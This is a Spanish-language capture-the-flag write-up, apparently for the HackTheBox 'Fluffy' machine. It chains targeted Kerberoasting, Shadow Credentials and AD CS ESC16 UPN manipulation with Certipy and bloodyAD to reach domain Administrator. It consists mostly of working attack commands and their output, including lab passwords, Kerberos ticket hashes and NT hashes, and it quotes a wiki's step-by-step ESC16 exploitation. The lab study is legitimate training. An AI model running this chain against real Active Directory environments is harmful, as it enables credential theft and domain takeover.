P.AGILA::FLUFFY:f74081931ace9d2a:b7ae54d953f98a9baa7af1ffa9a66b7e:0101000000000000802cfe656989dc01c70a4c638403e30b0000000002000800370039005800330001001e00570049004e002d003200500045004d0043004a00420048004f003600570004003400570049004e002d003200500045004d0043004a00420048004f00360057002e0037003900580033002e004c004f00430041004c000300140037003900580033002e004c004f00430041004c000500140037003900580033002e004c004f00430041004c0007000800802cfe656989dc01060004000200000008003000300000000000000001000000002000009a1d51b76b59c74df9a070f2c83658f60e9885997feed0398370d04783ba2d0c0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310035002e00340034000000000000000000:prometheusx-303

p.agila:prometheusx-303

BloodHound: path de escalada

No encuentro demasiado enumerando directamente con este usuario, así que tiro de rusthound-ce y analizo con BloodHound.

rusthound-ce -u p.agila -p 'prometheusx-303' --domain fluffy.htb

Veo un camino claro hacia ca_svc (miembro de cert publisher) desde p.agila.

Aprovecho permisos para añadir p.agila al grupo service accounts:

bloodyAD -u 'p.agila' -p 'prometheusx-303' -d fluffy.htb --host 10.129.78.23 add groupMember 'service accounts' p.agila

Kerberoasting dirigido (targetedKerberoast)

Ahora uso targetedKerberoast.py para extraer hashes. Antes sincronizo reloj.

┌──(root㉿kali)-[/home/…/Desktop/HTB/Fluffy/loot]
└─# ntpdate fluffy.htb && 
targetedKerberoast.py
 -v -d 'fluffy.htb' -u 'p.agila' -p 'prometheusx-303'

2026-01-20 00:56:56.676545 (+0100) +25199.665597 +/- 0.037951 fluffy.htb 10.129.78.23 s1 no-leap
CLOCK: time stepped by 25199.665597
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[+] Printing hash for (ca_svc)
$krb5tgs$23$*ca_svc$FLUFFY.HTB$fluffy.htb/ca_svc*$6b56d380186cf766215630dc2a4a2509$...
[+] Printing hash for (ldap_svc)
$krb5tgs$23$*ldap_svc$FLUFFY.HTB$fluffy.htb/ldap_svc*$170ab6e4fc848133b7b3af897c0300c2$...
[+] Printing hash for (winrm_svc)
$krb5tgs$23$*winrm_svc$FLUFFY.HTB$fluffy.htb/winrm_svc*$19c1771a343c902076eee1003cf0e4d5$...

Intento crackear, pero no saco nada útil.

Shadow Credentials con Certipy

Cambio de enfoque y pruebo Shadow Credentials. La idea aquí es modificar el atributo msDS-KeyCredentialLink para poder autenticarse con PKINIT sin conocer la contraseña.

Ejecuto:

ntpdate -u fluffy.htb && certipy-ad shadow auto -username p.agila@fluffy.htb -password 'prometheusx-303' -account ca_svc
2026-01-20 01:08:18.579036 (+0100) +25199.672015 +/- 0.024036 fluffy.htb 10.129.78.23 s1 no-leap
CLOCK: time stepped by 25199.672015
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Targeting user 'ca_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '224a33db-8f3b-e338-547f-7e9041c661cd'
[*] Adding Key Credential with device ID '224a33db-8f3b-e338-547f-7e9041c661cd' to the Key Credentials for 'ca_svc'
[*] Successfully added Key Credential with device ID '224a33db-8f3b-e338-547f-7e9041c661cd' to the Key Credentials for 'ca_svc'
[*] Authenticating as 'ca_svc' with the certificate
[*] Using principal: ca_svc@fluffy.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'ca_svc.ccache'
[*] Trying to retrieve NT hash for 'ca_svc'
[-] Got error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
[-] Use -debug to print a stacktrace

Aunque aquí no saco el NT hash por el clock skew, sí obtengo un TGT. Luego vuelvo atrás para corregir la parte de sincronización y generar el .pfx.

ntpdate -u fluffy.htb && certipy-ad shadow add -username p.agila@fluffy.htb -password 'prometheusx-303' -account ca_svc -dc-ip 10.129.78.23

[*] Targeting user 'ca_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '50de2216-d7b5-75e9-0e19-555d205a9a10'
[*] Adding Key Credential with device ID '50de2216-d7b5-75e9-0e19-555d205a9a10' to the Key Credentials for 'ca_svc'
[*] Successfully added Key Credential with device ID '50de2216-d7b5-75e9-0e19-555d205a9a10' to the Key Credentials for 'ca_svc'
[*] Saved certificate and private key to 'ca_svc.pfx'

Con el .pfx ya puedo pedir el hash NT:

ntpdate -u fluffy.htb && certipy-ad auth -pfx ca_svc.pfx -dc-ip 10.129.78.23 -username ca_svc -domain fluffy.htb


[!] Could not find identification in the provided certificate
[*] Using principal: ca_svc@fluffy.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'ca_svc.ccache'
[*] Trying to retrieve NT hash for 'ca_svc'
[*] Got hash for 'ca_svc@fluffy.htb': aad3b435b51404eeaad3b435b51404ee:ca0f4f9e9eb8a092addf53bb03fc98c8

A partir de aquí, asumo que tengo delante una infraestructura AD CS (por la cuenta de servicio de CA).

Enumeración AD CS y detección de ESC16

Busco plantillas/vulnerabilidades con Certipy:

certipy-ad find -u 'ca_svc' -hashes ':ca0f4f9e9eb8a092addf53bb03fc98c8' -dc-ip 10.129.78.23 -vulnerable -enabled -stdout


...

 [!] Vulnerabilities
 ESC16 : Security Extension is disabled.
 [*] Remarks
 ESC16 : Other prerequisites may be required for this to
be exploitable. See the wiki for more details.
Certificate Templates : [!] Could not find any certificate templates

Aquí dejo el extracto de la wiki que estuve siguiendo para ESC16 (tal cual lo apunté):

“Exploitation with Certipy

The exploitation mechanisms for ESC16 are identical to those for ESC9 because the end result - a certificate lacking the SID security extension - is the same. The important difference is that for ESC16, any certificate template enabling client authentication and issued by this misconfigured CA can be used in the UPN manipulation attack, not just a template specifically flagged with CT_FLAG_NO_SECURITY_EXTENSION.

Scenario A: UPN Manipulation (Requires StrongCertificateBindingEnforcement = 1 (Compatibility) or 0 (Disabled) on DCs, and attacker has write access to a “victim” account’s UPN)

Attacker (attacker@corp.local) has GenericWrite permission over a “victim” account (victim@corp.local). The victim account can enroll in any suitable client authentication template (e.g., the default “User” template) on the ESC16-vulnerable CA. The target for impersonation is administrator@corp.local.

Step 1: Read initial UPN of the victim account (Optional - for restoration).

certipy account \
 -u 'attacker@corp.local' -p 'Passw0rd!' \
 -dc-ip '10.0.0.100' -user 'victim' \
 read

Expected Output Snippet:

Certipy v5.0.0 - by Oliver Lyak (ly4k)

[*] Reading attributes for 'victim':
 cn : Victim
 userPrincipalName : victim@CORP.LOCAL
...

Step 2: Update the victim account’s UPN to the target administrator’s sAMAccountName****.

certipy account \
 -u 'attacker@corp.local' -p 'Passw0rd!' \
 -dc-ip '10.0.0.100' -upn 'administrator' \
 -user 'victim' update

Expected Output Snippet:

Certipy v5.0.0 - by Oliver Lyak (ly4k)

[*] Updating user 'victim':
 userPrincipalName : administrator
[*] Successfully updated 'victim'

Step 3: (If needed) Obtain credentials for the “victim” account (e.g., via Shadow Credentials).

certipy shadow \
 -u 'attacker@corp.local' -p 'Passw0rd!' \
 -dc-ip '10.0.0.100' -account 'victim' \
 auto

Expected Output Snippet:

Certipy v5.0.0 - by Oliver Lyak (ly4k)
...
[*] Saving credential cache to 'victim.ccache'
[*] Wrote credential cache to 'victim.ccache'
[*] NT hash for 'victim': fc525c9683e8fe067095ba2ddc971889

Step 4: Request a certificate as the “victim” user from any suitable client authentication template (e.g., “User”) on the ESC16-vulnerable CA. Because the CA is vulnerable to ESC16, it will automatically omit the SID security extension from the issued certificate, regardless of the template’s specific settings for this extension. Set the Kerberos credential cache environment variable (shell command):
```
export KRB5CCNAME=victim.ccache
```
Then request the certificate:
```
certipy req \
 -k -dc-ip '10.0.0.100' \
 -target 'CA.CORP.LOCAL' -ca 'CORP-CA' \
 -template 'User'
```
Expected Output Snippet:

`Certipy v5.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC [*] Request ID is 1 [*] Successfully requested certificate [*] Got certificate with UPN ‘administrator@corp.local’ [*] Certificate has no object SID [*] Try using -sid to set the object SID or see the wiki for more details [*] Saving certificate and private key to ‘administrator.pfx’ [*] Wrote certificate and private key to ‘administrator.pfx’` ”

Ajuste de tiempo y hash de winrm_svc

Necesito maniobrar rápido (porque p.agila vuelve a su estado normal en poco tiempo), así que saco el hash de winrm_svc para trabajar más cómodo.

faketime -f +7h certipy-ad auth -pfx winrm_svc.pfx -dc-ip 10.129.78.23 -username winrm_svc -domain fluffy.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[!] Could not find identification in the provided certificate
[*] Using principal: winrm_svc@fluffy.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'winrm_svc.ccache'
[*] Trying to retrieve NT hash for 'winrm_svc'
[*] Got hash for 'winrm_svc@fluffy.htb': aad3b435b51404eeaad3b435b51404ee:33bd09dcd697600edf6b3a7af4875767

Nota: aquí uso faketime para “fakear” la hora y evitar problemas de Kerberos (porque ntpupdate no me estaba funcionando correctamente). Así me salto parte del lío de sincronización.

User flag (WinRM)

Con esa cuenta entro por evilwin-rm y obtengo la user flag.

ESC16: UPN manipulation + certificado de Administrator

Modifico el UPN de ca_svc y lo pongo como administrator

Hago el request del certificado y puedo impersonar a Administrator.

Después tengo que revertir el UPN de ca_svc a otro valor para que el nombre administrator vuelva a apuntar al Administrador real.

Revierto el UPN de ca_svc:

certipy-ad account -u 'winrm_svc' -hashes '33bd09dcd697600edf6b3a7af4875767' -dc-ip '10.129.78.23' -user 'ca_svc' -upn 'ca_svc_restored' update

Y me autentico con el certificado de Administrator:

faketime -f +7h certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.78.23 -domain fluffy.htb

Lo tengo.